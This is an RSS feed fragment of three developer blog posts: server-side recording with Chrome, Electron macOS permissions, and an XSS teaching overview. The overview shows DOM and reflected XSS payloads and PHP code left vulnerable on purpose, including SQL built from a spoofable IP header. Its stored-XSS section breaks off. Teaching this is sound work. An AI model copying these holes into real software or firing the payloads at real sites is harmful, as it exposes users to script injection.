</content:encoded><category>chromium</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>How server-side recording works</title><link>https://bugs.cc/posts/rebirth-principle-analysis/</link><guid isPermaLink="true">https://bugs.cc/posts/rebirth-principle-analysis/</guid><description>The idea behind server-side recording, and some pitfalls I hit</description><pubDate>Sat, 07 Dec 2019 07:02:14 GMT</pubDate><content:encoded>&lt;h2&gt;Overview&lt;/h2&gt;
&lt;h3&gt;Features&lt;/h3&gt;
&lt;p&gt;Server-side recording, in plain terms, is recording a website on a server, including &lt;strong&gt;audio, motion, refreshes, navigations&lt;/strong&gt;, and so on, then saving it as a video file.&lt;/p&gt;
&lt;h3&gt;How it works&lt;/h3&gt;
&lt;p&gt;Start &lt;code&gt;Puppeteer&lt;/code&gt; with a virtual display via &lt;code&gt;xvfb&lt;/code&gt;. Puppeteer opens Chrome, then a Chrome extension API captures a &lt;code&gt;Stream&lt;/code&gt;. An HTML5 API converts that stream into a &lt;code&gt;webm&lt;/code&gt; file.&lt;/p&gt;
&lt;h2&gt;Challenges&lt;/h2&gt;
&lt;p&gt;Recording audio, doing it on a server, and making the whole thing unattended.&lt;/p&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;p&gt;During the research phase I considered several approaches, such as:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Screenshot with Canvas and stitch frames together&lt;/li&gt;
&lt;li&gt;Various Chrome and HTML5 APIs&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After testing them, I settled on a Chrome extension API: &lt;code&gt;chrome.tabCapture.capture&lt;/code&gt;. The Chrome extension docs describe it like this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Captures the visible area of the currently active tab. This method can only be used on the currently active page after the extension has been invoked, similar to how &lt;a href=&quot;https://crxdoc-zh.appspot.com/extensions/activeTab&quot;&gt;activeTab&lt;/a&gt; works.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Captures the visible area of the currently active tab&lt;/strong&gt; is what the API does. The rest is the restriction: you cannot call it directly. A user gesture is required (Chrome takes security seriously).&lt;/p&gt;
&lt;p&gt;That restriction was the first problem I hit. The whole recording runs on a server. There is no human in the loop. I looked through Chrome’s source and found the check in &lt;a href=&quot;https://cs.chromium.org/chromium/src/chrome/browser/extensions/api/tab_capture/tab_capture_api.cc?type=cs&amp;amp;g=0&amp;amp;l=247-257&quot;&gt;tab_capture_api.cc&lt;/a&gt;. The core is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;// Make sure either we have been granted permission to capture through an
// extension icon click or our extension is whitelisted.
if (!extension()-&amp;gt;permissions_data()-&amp;gt;HasAPIPermissionForTab(
        SessionTabHelper::IdForTab(target_contents).id(),
        APIPermission::kTabCaptureForTab) &amp;amp;&amp;amp;
    base::CommandLine::ForCurrentProcess()-&amp;gt;GetSwitchValueASCII(
        switches::kWhitelistedExtensionID) != extension_id &amp;amp;&amp;amp;
    !SimpleFeature::IsIdInArray(extension_id, kMediaRouterExtensionIds,
                                base::size(kMediaRouterExtensionIds))) {
  return RespondNow(Error(kGrantError));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The important part is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;base::CommandLine::ForCurrentProcess()-&amp;gt;GetSwitchValueASCII(
        switches::kWhitelistedExtensionID) != extension_id &amp;amp;&amp;amp;
    !SimpleFeature::IsIdInArray(extension_id, kMediaRouterExtensionIds,
                                base::size(kMediaRouterExtensionIds))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This checks whether the current extension id matches &lt;code&gt;kWhitelistedExtensionID&lt;/code&gt;. That switch is a privilege whitelist. When they match, you can skip the user gesture and automate.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;kWhitelistedExtensionID&lt;/code&gt; is declared in &lt;a href=&quot;https://cs.chromium.org/chromium/src/extensions/common/switches.cc?type=cs&amp;amp;g=0&amp;amp;l=78&quot;&gt;switches.cc&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;// Adds the given extension ID to all the permission whitelists.
const char kWhitelistedExtensionID[] = &quot;whitelisted-extension-id&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So I just need to start Chrome with &lt;code&gt;--whitelisted-extension-id&lt;/code&gt; set to the extension id.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/rebirth-principle-analysis/#user-content-fn-tab-active&quot; id=&quot;user-content-fnref-tab-active&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;The next problem: the extension id has to be stable, otherwise every build gets a different id. I searched Stack Overflow and found &lt;a href=&quot;https://stackoverflow.com/questions/37317779/making-a-unique-extension-id-and-key-for-chrome-extension&quot;&gt;Making a unique extension id and key for Chrome extension?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;That is why the project has a &lt;a href=&quot;https://github.com/alo7/rebirth/blob/master/src/extensions_dist/key.pem&quot;&gt;key.pem&lt;/a&gt; in the extension directory: to pin the extension id.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;You may have noticed this API does not expose other methods, so we have to implement &lt;code&gt;pause / resume / stop&lt;/code&gt; ourselves. HTML5 &lt;code&gt;MediaRecorder&lt;/code&gt;&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/rebirth-principle-analysis/#user-content-fn-mediarecorder&quot; id=&quot;user-content-fnref-mediarecorder&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; covers that.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chrome.tabCapture.capture&lt;/code&gt; returns a &lt;code&gt;Stream&lt;/code&gt; that includes audio and video. &lt;code&gt;MediaRecorder&lt;/code&gt; can take it from there.&lt;/p&gt;
&lt;p&gt;After calling &lt;code&gt;chrome.tabCapture.capture&lt;/code&gt;, we create a &lt;code&gt;MediaRecorder&lt;/code&gt; instance and listen for incoming data.&lt;/p&gt;
&lt;p&gt;The pause / resume / stop methods we wrote are wrappers around &lt;code&gt;MediaRecorder&lt;/code&gt;, which already provides &lt;code&gt;pause / resume / stop&lt;/code&gt;. We only need a thin wrapper.&lt;/p&gt;
&lt;p&gt;One gotcha: after &lt;code&gt;MediaRecorder.stop()&lt;/code&gt;, you still need to stop every track, or the memory stays occupied:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;mediaRecorder.stop();
mediaRecorder.stream.getTracks().forEach(track =&amp;gt; {
  track.stop();
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Think of &lt;code&gt;stop&lt;/code&gt; as stopping intake. The existing tracks are not closed or released.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;That covers the recording structure. Whether the details landed or not, the core of this project is a browser extension. Chrome does not support injecting extensions in &lt;code&gt;headless&lt;/code&gt;&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/rebirth-principle-analysis/#user-content-fn-headless&quot; id=&quot;user-content-fnref-headless&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; mode.&lt;/p&gt;
&lt;p&gt;This runs on a server, and it will eventually go through Docker. Those environments have no desktop. If we cannot use headless, everything above is wasted.&lt;/p&gt;
&lt;p&gt;I searched around and found &lt;code&gt;xvfb&lt;/code&gt;. Think of it as a virtual desktop. Chrome runs on that virtual display. That unblocked us.&lt;/p&gt;
&lt;p&gt;That is why &lt;a href=&quot;https://github.com/alo7/rebirth/blob/master/entrypoint.sh&quot;&gt;entrypoint.sh&lt;/a&gt; has:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;# open virtual desktop
xvfb-run --listen-tcp --server-num=76 --server-arg=&quot;-screen 0 2048x1024x24&quot; --auth-file=$XAUTHORITY node index.js &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point the pipeline worked. The rest is optimization.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;The project could record on a server (Docker), but I could not see what was happening inside. I wanted to debug it. So I added VNC and Chrome remote debugging.&lt;/p&gt;
&lt;p&gt;VNC is straightforward: install a VNC stack in the Docker image, then add this to &lt;a href=&quot;https://github.com/alo7/rebirth/blob/master/entrypoint.sh&quot;&gt;entrypoint.sh&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;x11vnc -display :76 -passwd password -forever -autoport 5920 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chrome remote debugging is a bit more work. Add &lt;code&gt;--remote-debugging-port=9222&lt;/code&gt; to Chrome’s launch flags, and install &lt;code&gt;socat&lt;/code&gt; in the image for port forwarding.&lt;/p&gt;
&lt;p&gt;9222 is the remote-debugging port, but Chrome only accepts connections from localhost. So &lt;code&gt;socat&lt;/code&gt; forwards 9222 to 9223. In &lt;a href=&quot;https://github.com/alo7/rebirth/blob/master/entrypoint.sh&quot;&gt;entrypoint.sh&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;# forward chrome remote debugging protocol port
socat tcp-listen:9223,fork tcp:localhost:9222 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;p&gt;This Docker image may land on k8s or elsewhere. After deploy, it will eventually get a “please kill yourself” signal (usually when the cluster is short on resources or CPU is too high). When that signal reaches the container (a Pod on k8s), we should roll back data and so on. So &lt;a href=&quot;https://github.com/alo7/rebirth/blob/master/entrypoint.sh&quot;&gt;entrypoint.sh&lt;/a&gt; has:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;# get nodejs process pid
NODE_PID=$(lsof -i:80 | grep node | awk &apos;NR==1,$NF=&quot; &quot;{print $2}&apos;)

# forward SIGINT/SIGKILL/SIGTERM to nodejs process
trap &apos;kill -n 15 ${NODE_PID}&apos; 2 9 15

# waiting nodejs exit
while [[ -e /proc/${NODE_PID} ]]; do sleep 1; done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First get the Node process PID, then forward the signal to it. On the Node side:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let status = false;
const exit = message =&amp;gt; {
  if (status) return;

    console.log(&apos;the process was kill:&apos;, message);

    // rollback operations

  status = true;

  process.exit();
};


process.once(&apos;exit&apos;, () =&amp;gt; exit(&apos;exit&apos;));
process.once(&apos;SIGTERM&apos;, () =&amp;gt; exit(&apos;sigterm&apos;));
process.on(&apos;message&apos;, message =&amp;gt; {
  if (message === &apos;shutdown&apos;) {
    exit(&apos;shutdown&apos;);
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Deployment&lt;/h2&gt;
&lt;p&gt;Our company deploys on k8s, so the flow looks like this:&lt;/p&gt;
&lt;p&gt;The server inserts a recording job into the database. I wrote another service that scans the database on an interval (currently every 3 minutes). When it finds a row, it calls the k8s API to create a Job -&amp;gt; Pod and run one recording. If you are curious, I wrote about this in &lt;a href=&quot;https://www.bugs.cc/p/flexible-scheduling-of-k8s-cluster-based-on-task-volume/&quot;&gt;Flexible scheduling of a k8s cluster based on task volume&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Open source&lt;/h2&gt;
&lt;p&gt;The project is open source. Stars and PRs are welcome: &lt;a href=&quot;https://github.com/alo7/rebirth&quot;&gt;https://github.com/alo7/rebirth&lt;/a&gt;&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-tab-active&quot;&gt;
&lt;p&gt;The one catch: when you call this API, the tab you want to record must be active. After the call you can navigate away. &lt;a href=&quot;https://bugs.cc/posts/rebirth-principle-analysis/#user-content-fnref-tab-active&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-mediarecorder&quot;&gt;
&lt;p&gt;If you are not familiar with this API, think of it as a manager for audio/video streams. &lt;a href=&quot;https://bugs.cc/posts/rebirth-principle-analysis/#user-content-fnref-mediarecorder&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-headless&quot;&gt;
&lt;p&gt;Think of headless as starting Chrome from the command line, talking to it through commands or APIs, with no visible window. &lt;a href=&quot;https://bugs.cc/posts/rebirth-principle-analysis/#user-content-fnref-headless&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 3&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>rebirth</category><category>chrome extension</category><category>nodejs</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Pitfalls of requesting camera and microphone permission for an Electron app on macOS</title><link>https://bugs.cc/posts/electron-app-request-camera-and-microphone-permission-by-macos/</link><guid isPermaLink="true">https://bugs.cc/posts/electron-app-request-camera-and-microphone-permission-by-macos/</guid><description>Starting with macOS 10.14, tighter privacy rules can make Electron apps crash when they use the camera or microphone</description><pubDate>Wed, 23 Oct 2019 01:55:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Our company’s Electron app would occasionally &lt;code&gt;Crash&lt;/code&gt; during &lt;em&gt;device detection&lt;/em&gt;. After digging into it, the app didn’t have camera and microphone permission, which caused the crash during &lt;em&gt;device detection&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;On macOS 10.14 and later, you have to explicitly grant microphone and camera permission to your own app. Otherwise it cannot use the system camera or microphone. For details, see: &lt;a href=&quot;https://developer.apple.com/documentation/avfoundation/cameras_and_media_capture/requesting_authorization_for_media_capture_on_macos?language=objc&quot;&gt;Requesting Authorization for Media Capture on macOS&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Apple’s docs say that if you want microphone and camera permission, you have to set the related keys in the &lt;code&gt;plist&lt;/code&gt;. They are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Microphone: &lt;a href=&quot;https://developer.apple.com/documentation/bundleresources/information_property_list/nscamerausagedescription?language=objc&quot;&gt;NSMicrophoneUsageDescription&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Camera: &lt;em&gt;&lt;a href=&quot;https://developer.apple.com/documentation/bundleresources/information_property_list/nsmicrophoneusagedescription?language=objc&quot;&gt;NSCameraUsageDescription&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;code&gt;Description&lt;/code&gt; suffix tells you these keys explain why your app needs the microphone and camera.&lt;/p&gt;
&lt;p&gt;Packaging an &lt;code&gt;Electron App&lt;/code&gt; is usually done with &lt;a href=&quot;https://www.electron.build/&quot;&gt;electron-builder&lt;/a&gt;. In its docs for Mac packaging there is an &lt;code&gt;extendInfo&lt;/code&gt; option: it adds your custom keys to the &lt;code&gt;plist&lt;/code&gt;. In &lt;code&gt;electron-builder.yml&lt;/code&gt; it looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;mac:
  extendInfo:
    NSMicrophoneUsageDescription: Please allow this app to access your microphone
    NSCameraUsageDescription: Please allow this app to access your camera
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After you write that, you’ll find it does nothing. Those two keys only explain why the app is asking for permission. They do not actually request it.&lt;/p&gt;
&lt;p&gt;To request camera and microphone permission, you need these keys:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;com.apple.security.device.camera&lt;/li&gt;
&lt;li&gt;com.apple.security.device.audio-input&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is a prerequisite for adding them: you must turn on &lt;a href=&quot;https://developer.apple.com/documentation/security/hardened_runtime_entitlements&quot;&gt;hardenedRuntime&lt;/a&gt;.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/electron-app-request-camera-and-microphone-permission-by-macos/#user-content-fn-hardenedruntime-version&quot; id=&quot;user-content-fnref-hardenedruntime-version&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; It tightens runtime integrity. For details, see: &lt;a href=&quot;https://developer.apple.com/documentation/security/hardened_runtime_entitlements&quot;&gt;Hardened Runtime Entitlements&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So now we add &lt;code&gt;hardenedRuntime&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;mac:
  hardenedRuntime: true
  extendInfo:
    NSMicrophoneUsageDescription: Please allow this app to access your microphone
    NSCameraUsageDescription: Please allow this app to access your camera
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The actual request is done with the &lt;code&gt;entitlements&lt;/code&gt; option. The config looks like this:&lt;/p&gt;
&lt;p&gt;electron-builder.yml&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;mac:
  entitlements: entitlements.mac.plist
  hardenedRuntime: true
  extendInfo:
    NSMicrophoneUsageDescription: Please allow this app to access your microphone
    NSCameraUsageDescription: Please allow this app to access your camera
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;entitlements.mac.plist&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;gt;
&amp;lt;plist version=&quot;1.0&quot;&amp;gt;
  &amp;lt;dict&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.device.audio-input&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.device.camera&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
  &amp;lt;/dict&amp;gt;
&amp;lt;/plist&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you try this, the app will crash on launch, or it won’t even package.&lt;/p&gt;
&lt;p&gt;That’s because once you turn on &lt;code&gt;hardenedRuntime&lt;/code&gt; to tighten app security, you have to loosen that security a bit. In &lt;code&gt;entitlements.mac.plist&lt;/code&gt; you also need:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit&quot;&gt;com.apple.security.cs.allow-jit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory&quot;&gt;com.apple.security.cs.allow-unsigned-executable-memory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables&quot;&gt;com.apple.security.cs.allow-dyld-environment-variables&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The final &lt;code&gt;entitlements.mac.plist&lt;/code&gt; looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;gt;
&amp;lt;plist version=&quot;1.0&quot;&amp;gt;
  &amp;lt;dict&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.cs.allow-jit&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.cs.allow-unsigned-executable-memory&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.cs.allow-dyld-environment-variables&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.device.audio-input&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
    &amp;lt;key&amp;gt;com.apple.security.device.camera&amp;lt;/key&amp;gt;
    &amp;lt;true/&amp;gt;
  &amp;lt;/dict&amp;gt;
&amp;lt;/plist&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From here, your Electron app should be able to request and use the camera and microphone on macOS.&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-hardenedruntime-version&quot;&gt;
&lt;p&gt;In &lt;code&gt;electron-builder&lt;/code&gt; &lt;code&gt;21.1.3&lt;/code&gt;, &lt;code&gt;hardenedRuntime&lt;/code&gt; already defaults to &lt;code&gt;true&lt;/code&gt;. In &lt;code&gt;21.1.2&lt;/code&gt; through &lt;code&gt;20.41.0&lt;/code&gt;, it defaults to &lt;code&gt;false&lt;/code&gt;. Older versions don’t have the property at all. &lt;a href=&quot;https://bugs.cc/posts/electron-app-request-camera-and-microphone-permission-by-macos/#user-content-fnref-hardenedruntime-version&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>electron</category><category>macos</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Web security overview</title><link>https://bugs.cc/posts/web-security-overview/</link><guid isPermaLink="true">https://bugs.cc/posts/web-security-overview/</guid><description>Common web attacks and how they work (XSS, CSRF, SSRF, JSON hijacking), plus Docker labs so you can try them</description><pubDate>Thu, 17 Oct 2019 12:26:07 GMT</pubDate><content:encoded>&lt;h2&gt;Preface&lt;/h2&gt;
&lt;p&gt;A look at web attacks and how they work, including frontend, backend, and ops.&lt;/p&gt;
&lt;p&gt;The backend examples use PHP. After comparing options, PHP is the most obvious language for showing this.&lt;/p&gt;
&lt;p&gt;Every attack in this post has a Docker lab so you can research and test it yourself.&lt;/p&gt;
&lt;p&gt;This post is a partial recap of my older security writeups, with some cleanup and additions. If you want more, see &lt;a href=&quot;https://www.freebuf.com/author/Black-Hole&quot;&gt;Freebuf Black-Hole&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Frontend&lt;/h2&gt;
&lt;h3&gt;XSS&lt;/h3&gt;
&lt;p&gt;XSS is executing your JavaScript in someone else’s browser. Everything else is supporting technique.&lt;/p&gt;
&lt;h4&gt;DOM XSS&lt;/h4&gt;
&lt;p&gt;Abuse JavaScript’s ability to mutate the DOM.&lt;/p&gt;
&lt;p&gt;Where it shows up: separated frontend/backend architectures.&lt;/p&gt;
&lt;p&gt;Most developers know not to use &lt;code&gt;eval&lt;/code&gt; unless they have to. One reason is security. Does skipping &lt;code&gt;eval&lt;/code&gt; mean you are safe? No.&lt;/p&gt;
&lt;p&gt;Look at this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;script&amp;gt;
  window.open(new URL(location.hash.slice(1)).href)
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To make this clearer, a short walkthrough:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Suppose the current URL is &lt;code&gt;http://baidu.com/#http://360.cn&lt;/code&gt;. Then &lt;code&gt;location.hash.slice(1)&lt;/code&gt; is &lt;code&gt;http://360.cn&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;new URL(url).href&lt;/code&gt; parses the URL and returns the parsed href. If the URL fails its internal checks, it throws.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Looks fine, right? &lt;code&gt;new URL()&lt;/code&gt; is a built-in. It is supposed to filter for us.&lt;/p&gt;
&lt;p&gt;So we break that check. The table below is from the &lt;code&gt;URL&lt;/code&gt; spec &lt;a href=&quot;https://url.spec.whatwg.org/#example-url-parsing&quot;&gt;examples&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/web-security-overview/url-parsing-spec-table.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hello:world&lt;/code&gt; is valid. And &lt;code&gt;hello:&lt;/code&gt; is a JavaScript label, similar to &lt;code&gt;goto&lt;/code&gt; in C. Change the URL to &lt;code&gt;http://baidu.com/#javascript:alert(1)&lt;/code&gt; and the bug fires.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alo7/web-security-docker/tree/master/front-end/XSS/DOM-XSS&quot;&gt;Docker lab&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Backend&lt;/h2&gt;
&lt;h3&gt;Reflected XSS&lt;/h3&gt;
&lt;p&gt;Caused by missing or mismatched filtering on the frontend or backend.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/web-security-overview/#user-content-fn-reflected-dom&quot; id=&quot;user-content-fnref-reflected-dom&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Where it shows up: MVC.&lt;/p&gt;
&lt;p&gt;In MVC, frontend markup is written in the backend language. On a request, the backend builds the page, then returns the HTML to the browser. If XSS happens in that path, the backend is in the loop, so we usually call it reflected XSS.&lt;/p&gt;
&lt;p&gt;PHP:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
  // disable the browser&apos;s XSS auditor
  header(&quot;X-XSS-Protection: 0;&quot;);

  $bg = $_GET[&apos;bg&apos;];
  if (empty($bg)) {
    $bg = &apos;999&apos;;
  }
  echo &quot;&amp;lt;div style=&apos;width: 120px; height: 120px; background-color:#$bg&apos;&amp;gt;I am a little square&amp;lt;/div&amp;gt;&quot;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It reads &lt;code&gt;bg&lt;/code&gt; from the query string and uses it as a background color. Looks fine at first. &lt;code&gt;$bg&lt;/code&gt; is attacker-controlled. Close the attribute and you are in:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://127.0.0.1:8082/?bg=123&apos; onclick=&apos;alert(1)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Put that in &lt;code&gt;bg&lt;/code&gt; and the markup becomes:&lt;/p&gt;
&lt;p&gt;&amp;lt;div style=‘width: 120px; height: 120px; background-color:#&lt;strong&gt;&lt;code&gt;123&apos; onclick=&apos;alert(1)&lt;/code&gt;&lt;/strong&gt;’&amp;gt;I am a little square&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alo7/web-security-docker/tree/master/back-end/XSS/non-persistent&quot;&gt;Docker lab&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Stored XSS&lt;/h3&gt;
&lt;p&gt;Reflected XSS, plus a write to the database.&lt;/p&gt;
&lt;p&gt;The code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// get the client&apos;s IP address
// this code is from: https://stackoverflow.com/questions/3003145/how-to-get-the-client-ip-address-in-php
$ipaddress = &apos;UNKNOWN&apos;;
$keys = array(&apos;HTTP_CLIENT_IP&apos;, &apos;HTTP_X_FORWARDED_FOR&apos;, &apos;REMOTE_ADDR&apos;);
foreach($keys as $k) {
  if (isset($_SERVER[$k]) &amp;amp;&amp;amp; !empty($_SERVER[$k])) {
    $ipaddress = $_SERVER[$k];
    break;
  }
}

// get the content and encode/filter it
$content = htmlspecialchars($_POST[&apos;content&apos;], ENT_QUOTES);

$sql = &quot;INSERT INTO xss.message (content, ip) VALUES (&apos;$content&apos;, &apos;$ipaddress&apos;)&quot;;
$conn-&amp;gt;query($sql);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looks fine. We already encode-filter &lt;code&gt;content&lt;/code&gt;.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/web-security-overview/#user-content-fn-htmlspecialchars&quot; id=&quot;user-content-fnref-htmlspecialchars&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
